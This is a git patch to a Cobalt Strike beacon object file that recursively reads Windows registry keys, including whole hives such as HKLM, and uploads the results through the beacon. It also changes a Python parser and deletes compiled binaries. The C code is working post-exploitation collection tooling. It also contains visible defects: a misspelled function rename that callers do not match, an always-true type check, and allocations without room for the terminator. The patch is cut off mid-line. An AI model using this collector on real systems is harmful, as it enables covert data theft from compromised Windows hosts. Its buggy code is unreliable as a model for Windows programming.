From c0fd4e5eafafc2aaf1dc5b5d0415d6697db38f85 Mon Sep 17 00:00:00 2001 From: mharley Date: Wed, 30 Aug 2023 08:23:49 -0700 Subject: [PATCH 1/2] Update bof_reg_collect --- .../bof_reg_collect/.gitignore | 5 + .../bof_reg_collect/README.md | 2 + .../bof_reg_collect/build/reg_collect.x64.o | Bin 7023 -> 0 bytes .../bof_reg_collect/build/reg_collect.x86.o | Bin 7559 -> 0 bytes .../bof_reg_collect/common/queue.c | 14 +- .../bof_reg_collect/common/upload_file.c | 2 +- .../nemesis_reg_collect_parser.py | 62 ++++--- .../bof_reg_collect/reg_collect.cna | 3 +- .../bof_reg_collect/src/entry.c | 157 +++++++++-------- .../raw_data_tag/bof_reg_collect_parser.py | 166 ++++++++---------- 10 files changed, 218 insertions(+), 193 deletions(-) create mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore delete mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o delete mode 100644 cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore new file mode 100644 index 0000000..ce9208f --- /dev/null +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/.gitignore @@ -0,0 +1,5 @@ +build/nemesis_bof.x64.o +build/nemesis_bof.x86.o +build/reg_collect.x64.o +build/reg_collect.x86.o +.mypy_cache \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md index 45f1706..9d02139 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/README.md @@ -15,6 +15,8 @@ bof_reg_collect 3. Parse output with `nemesis_reg_collect_parser.py` +Note: To download a full hive, use an empty string as the path. Ex `bof_reg_collect HKLM ""` + ``` python3 nemesis_reg_collect_parser.py ``` diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x64.o deleted file mode 100644 index afe863a06a034a2ecd20f8ca2c6eb015b5e4ad2b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7023 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 HxXS+l;r7tC diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/build/reg_collect.x86.o deleted file mode 100644 index cef53be38b0158e77ec2ec09054a08ada73cf8a7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7559 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 diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c index 927307b..c27cbac 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/queue.c @@ -17,13 +17,13 @@ typedef struct _queue { } queue, *Pqueue; int _size(Pqueue q) { - int retval = 0; - Pitem i = q->head; - while (i != NULL) { - retval++; - i = i->next; - } - return retval; + int retval = 0; + Pitem i = q->head; + while (i != NULL) { + retval++; + i = i->next; + } + return retval; } void _push(Pqueue q, void *v) { Pitem i = (Pitem)intAlloc(sizeof(item)); diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c index 0c9e26f..d15e81f 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/common/upload_file.c @@ -6,7 +6,7 @@ #define CHUNK_SIZE 0xe1000 // https://github.com/helpsystems/nanodump/blob/3262e14d2652e21a9e7efc3960a796128c410f18/source/utils.c#L630-L728 -BOOL UploadFile(LPCSTR fileName, char fileData[], ULONG32 fileLength) { +BOOL uplaod_file(LPCSTR fileName, char fileData[], ULONG32 fileLength) { int fileNameLength = MSVCRT$strnlen(fileName, 256); // intializes the random number generator diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py index 1a6e329..898ce39 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/nemesis_reg_collect_parser.py @@ -1,7 +1,7 @@ -import struct -from typing import Tuple, NamedTuple, Union, List -import sys import json +import struct +import sys +from typing import List, NamedTuple, Tuple, Union REG_NONE = 0 REG_SZ = 1 @@ -11,38 +11,45 @@ REG_DWORD = 4 REG_DWORD_BIG_ENDIAN = 5 REG_LINK = 6 REG_MULTI_SZ = 7 -# REG_RESOURCE_LIST = 8 -# REG_FULL_RESOURCE_DESCRIPTOR = 9 -# REG_RESOURCE_REQUIREMENTS_LIST = 10 +REG_RESOURCE_LIST = 8 +REG_FULL_RESOURCE_DESCRIPTOR = 9 +REG_RESOURCE_REQUIREMENTS_LIST = 10 REG_QWORD = 11 + def read_unsigned_int(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack('>I', data[:4]), data[4:] + (ret,), data = struct.unpack(">I", data[:4]), data[4:] return ret, data + def read_unsigned_long(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack(' Tuple[int, bytes]: - (ret,), data = struct.unpack('>L', data[:4]), data[4:] + (ret,), data = struct.unpack(">L", data[:4]), data[4:] return ret, data + def read_unsigned_long_long(data: bytes) -> Tuple[int, bytes]: - (ret,), data = struct.unpack(' Tuple[bytes, bytes]: - (ret,) = struct.unpack(f'>{length}s', data[:length]) + (ret,) = struct.unpack(f">{length}s", data[:length]) return ret, data[length:] + def read_string(data: bytes) -> Tuple[bytes, int, bytes]: size, data = read_unsigned_int(data) if size == 0: - return b'', size, data + return b"", size, data ret, data = read_fixed_string(data, size) return ret, size, data + class RegKey(NamedTuple): type_: int path: str @@ -52,23 +59,30 @@ class RegKey(NamedTuple): value: Union[bytes, int, List[bytes]] value_size: int + def read_key(data: bytes) -> Tuple[RegKey, bytes]: type_, data = read_unsigned_int(data) path, path_size, data = read_string(data) - path = path.decode('utf-16') + path = path.decode("utf-16") key, key_size, data = read_string(data) - key = key.decode('utf-16') + key = key.decode("utf-16") - value = b'' + value = b"" value_length = 0 if type_ == REG_NONE: _, data = read_unsigned_int(data) + value = None elif type_ == REG_DWORD: _, data = read_unsigned_int(data) value, data = read_unsigned_long(data) - elif type_ == REG_BINARY: + elif type_ in [ + REG_BINARY, + REG_RESOURCE_LIST, + REG_FULL_RESOURCE_DESCRIPTOR, + REG_LINK, + ]: value, value_length, data = read_string(data) value = list(value) elif type_ == REG_DWORD_BIG_ENDIAN: @@ -76,25 +90,29 @@ def read_key(data: bytes) -> Tuple[RegKey, bytes]: value, data = read_unsigned_long_be(data) elif type_ == REG_MULTI_SZ: value, value_length, data = read_string(data) - value = [v for v in value.decode('utf-16').split('\0') if v != ''] + value = [v for v in value.decode("utf-16").split("\0") if v != ""] elif type_ == REG_QWORD: _, data = read_unsigned_int(data) value, data = read_unsigned_long_long(data) else: value, value_length, data = read_string(data) - value = value.decode('utf-16') + try: + value = value.decode("utf-16") + except Exception as e: + value = value.decode("latin-1") return RegKey(type_, path, path_size, key, key_size, value, value_length), data -if __name__ == '__main__': + +if __name__ == "__main__": if len(sys.argv) != 3: - print('Usage: python nemesis_reg_parser.py ') + print("Usage: python nemesis_reg_parser.py ") sys.exit(1) input_path = sys.argv[1] output_path = sys.argv[2] - with open(input_path, 'rb') as f: + with open(input_path, "rb") as f: data = f.read() arr = [] arr_size, data = read_unsigned_int(data) @@ -102,5 +120,5 @@ if __name__ == '__main__': for i in range(arr_size): reg_key, data = read_key(data) arr.append(reg_key._asdict()) - with open(output_path, 'w') as f: + with open(output_path, "w") as f: json.dump(arr, f) diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna index 5367b56..dd3e028 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/reg_collect.cna @@ -11,7 +11,7 @@ sub readbof { { berror($1, "could not read bof file"); } - + $msg = iff( ($3 eq $null || $3 eq ""), "Running $2", $3); blog($1, $msg); btask($1, $msg); @@ -38,4 +38,5 @@ beacon_command_register( "bof_reg_collect", "Does Nemesis registry things", "Usage: bof_reg_collect " + ); \ No newline at end of file diff --git a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c index a7a4ca2..a18a0a4 100644 --- a/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c +++ b/cmd/connectors/cobaltstrike-nemesis-connector/bof_reg_collect/src/entry.c @@ -21,23 +21,36 @@ typedef struct _RegPath { wchar_t *value; } RegPath; -wchar_t *path_join(const wchar_t *path1, wchar_t *path2) { - int path1Length = MSVCRT$wcslen(path1); - int path2Length = MSVCRT$wcslen(path2); - int totalLength = path1Length + path2Length + 2; - wchar_t *joined_path = intAlloc(totalLength * sizeof(wchar_t)); - if (!joined_path) { +wchar_t *path_join(const wchar_t *path1, const wchar_t *path2) { + wchar_t *new_path; + if (MSVCRT$wcscmp(path1, L"") == 0) { + int path_length = MSVCRT$wcslen(path2); + new_path = intAlloc(path_length * sizeof(wchar_t)); + MSVCRT$wcscpy(new_path, path2); + return new_path; + } + if (MSVCRT$wcscmp(path2, L"") == 0) { + int path_length = MSVCRT$wcslen(path1); + new_path = intAlloc(path_length * sizeof(wchar_t)); + MSVCRT$wcscpy(new_path, path1); + return new_path; + } + int path1len = MSVCRT$wcslen(path1); + int path2len = MSVCRT$wcslen(path2); + int totallen = path1len + path2len + 2; + new_path = intAlloc(totallen * sizeof(wchar_t)); + if (!new_path) { BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for joined path"); return NULL; } - MSVCRT$wcscpy(joined_path, path1); - MSVCRT$wcscat(joined_path, L"\\"); - MSVCRT$wcscat(joined_path, path2); - return joined_path; + MSVCRT$wcscpy(new_path, path1); + MSVCRT$wcscat(new_path, L"\\"); + MSVCRT$wcscat(new_path, path2); + return new_path; } -void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, - const wchar_t *key_path, bool recurse) { +void query_registry_path(Pqueue queue, HKEY hive, const wchar_t *arg_hive, + const wchar_t *key_path, bool recurse) { HKEY target_reg_key; DWORD rc1, rc2, rc3, rc4; @@ -45,21 +58,21 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE, &target_reg_key)) == ERROR_SUCCESS) { - WCHAR achClass[MAX_PATH]; // buffer for class name - DWORD cchClassName = MAX_PATH; // size of class string + WCHAR ach_class[MAX_PATH]; // buffer for class name + DWORD cch_class_name = MAX_PATH; // size of class string DWORD num_subkeys = 0; // number of subkeys DWORD max_subkey_length; // longest subkey size - DWORD cchMaxClass; // longest class string + DWORD max_class; // longest class string DWORD num_values; // number of values for key DWORD max_key_length; // longest value name DWORD max_value_length; // longest value data - DWORD cbSecurityDescriptor; // size of security descriptor + DWORD security_descriptor_length; // size of security descriptor DWORD i; if ((rc2 = ADVAPI32$RegQueryInfoKeyW( - target_reg_key, achClass, &cchClassName, NULL, &num_subkeys, - &max_subkey_length, &cchMaxClass, &num_values, &max_key_length, - &max_value_length, &cbSecurityDescriptor, NULL)) == + target_reg_key, ach_class, &cch_class_name, NULL, &num_subkeys, + &max_subkey_length, &max_class, &num_values, &max_key_length, + &max_value_length, &security_descriptor_length, NULL)) == ERROR_SUCCESS) { // Enumerate Subkeys and recurse @@ -70,9 +83,10 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, if ((rc3 = ADVAPI32$RegEnumKeyExW(target_reg_key, i, subkey_name, &subkey_name_size, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS) { + if (recurse) { wchar_t *new_key = path_join(key_path, subkey_name); - QueryRegistryPath(queue, hive, arg_hive, new_key, recurse); + query_registry_path(queue, hive, arg_hive, new_key, recurse); intFree(new_key); } } else { @@ -93,86 +107,78 @@ void QueryRegistryPath(Pqueue queue, HKEY hive, const wchar_t *arg_hive, if ((rc4 = ADVAPI32$RegEnumValueW( target_reg_key, i, key, &key_length, NULL, &value_type, value_data, &value_data_length)) == ERROR_SUCCESS) { - RegPath *regPath = (RegPath *)intAlloc(sizeof(RegPath)); - queue->push(queue, regPath); - regPath->type = value_type; + RegPath *reg_path = (RegPath *)intAlloc(sizeof(RegPath)); + queue->push(queue, reg_path); + reg_path->type = value_type; wchar_t *total_path = path_join(arg_hive, key_path); size_t total_path_length = MSVCRT$wcslen(total_path); - regPath->path_length = total_path_length * sizeof(wchar_t); - regPath->path = (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t)); - MSVCRT$memcpy(regPath->path, total_path, + reg_path->path_length = total_path_length * sizeof(wchar_t); + reg_path->path = + (wchar_t *)intAlloc(total_path_length * sizeof(wchar_t)); + MSVCRT$memcpy(reg_path->path, total_path, total_path_length * sizeof(wchar_t)); + intFree(total_path); - regPath->key_length = key_length * sizeof(wchar_t); - regPath->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t)); - MSVCRT$memcpy(regPath->key, key, key_length * sizeof(wchar_t)); + reg_path->key_length = key_length * sizeof(wchar_t); + reg_path->key = (wchar_t *)intAlloc(key_length * sizeof(wchar_t)); + MSVCRT$memcpy(reg_path->key, key, key_length * sizeof(wchar_t)); if (value_type == REG_NONE) { - regPath->value_length = 0; - regPath->value = NULL; + reg_path->value_length = 0; + reg_path->value = NULL; } else if (value_type == REG_SZ) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_EXPAND_SZ) { - wchar_t *raw_value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(raw_value, value_data, value_data_length); - // Use ExpandEnvironmentStringsW to expand the string - DWORD expandedSize = - KERNEL32$ExpandEnvironmentStringsW(raw_value, NULL, 0); - DWORD total_size = (expandedSize + 1) * sizeof(wchar_t); - wchar_t *expanded = (wchar_t *)intAlloc(total_size); - KERNEL32$ExpandEnvironmentStringsW(raw_value, expanded, - expandedSize); - // Copy the expanded string into the value - regPath->value_length = total_size; - regPath->value = expanded; - intFree(raw_value); - } else if (value_type == REG_BINARY) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_DWORD || value_type == REG_DWORD_BIG_ENDIAN) { - regPath->value_length = sizeof(DWORD); - regPath->value = (wchar_t *)intAlloc(sizeof(DWORD)); + reg_path->value_length = sizeof(DWORD); + reg_path->value = (wchar_t *)intAlloc(sizeof(DWORD)); DWORD value = *(DWORD *)value_data; - MSVCRT$memcpy(regPath->value, &value, sizeof(DWORD)); - } else if (value_type == REG_LINK) { - // TODO - } else if (value_type == REG_MULTI_SZ) { - regPath->value_length = value_data_length; - regPath->value = (wchar_t *)intAlloc(value_data_length); - MSVCRT$memcpy(regPath->value, value_data, value_data_length); + MSVCRT$memcpy(reg_path->value, &value, sizeof(DWORD)); + } else if (value_type == REG_BINARY || REG_LINK || + value_type == REG_MULTI_SZ || + value_type == REG_RESOURCE_LIST || + value_type == REG_FULL_RESOURCE_DESCRIPTOR || + value_type == REG_RESOURCE_REQUIREMENTS_LIST) { + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } else if (value_type == REG_QWORD) { - regPath->value_length = sizeof(QWORD); - regPath->value = (wchar_t *)intAlloc(sizeof(QWORD)); + reg_path->value_length = sizeof(QWORD); + reg_path->value = (wchar_t *)intAlloc(sizeof(QWORD)); QWORD value = *(QWORD *)value_data; - MSVCRT$memcpy(regPath->value, &value, sizeof(QWORD)); + MSVCRT$memcpy(reg_path->value, &value, sizeof(QWORD)); } else { BeaconPrintf(CALLBACK_ERROR, "Unsupported type: %d\n", value_type); - regPath->value_length = 0; + reg_path->value_length = value_data_length; + reg_path->value = (wchar_t *)intAlloc(value_data_length); + MSVCRT$memcpy(reg_path->value, value_data, value_data_length); } } else { - BeaconPrintf(CALLBACK_ERROR, "Error code: %li\n", rc4); + BeaconPrintf(CALLBACK_ERROR, "[WARNING] Error code: %li\n", rc4); } intFree(key); intFree(value_data); } } } else { - BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n", - rc2); + // BeaconPrintf(CALLBACK_ERROR, "RegQueryInfoKeyW returned error: %d\n", + // rc2); } } else { - BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1); + // BeaconPrintf(CALLBACK_ERROR, "RegOpenKeyExW returned error: %d\n", rc1); } ADVAPI32$RegCloseKey(target_reg_key); } -void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) { +void format_upload_registry_data(Pqueue queue, char *upload_file_name) { Pitem cursor; RegPath *curitem; formatp obj; @@ -220,7 +226,7 @@ void FormatUploadRegistryData(Pqueue queue, char *upload_file_name) { queue->free(queue); out = BeaconFormatToString(&obj, &fmt_size); - UploadFile(upload_file_name, out, fmt_size); + upload_file(upload_file_name, out, fmt_size); BeaconFormatFree(&obj); } @@ -239,6 +245,12 @@ void go(char *args, int alen) { arg_hive = BeaconDataExtract(&parser, NULL); arg_path = BeaconDataExtract(&parser, NULL); + if (arg_file_name == NULL || arg_hive == NULL || arg_path == NULL) { + BeaconPrintf(CALLBACK_ERROR, + "Usage: bof_reg_collect \n"); + return; + } + if (MSVCRT$strcmp(arg_hive, "HKCR") == 0) { target_hive = HKEY_CLASSES_ROOT; } else if (MSVCRT$strcmp(arg_hive, "HKCU") == 0) { @@ -264,10 +276,11 @@ void go(char *args, int alen) { path = (wchar_t *)intAlloc(wchars_num * 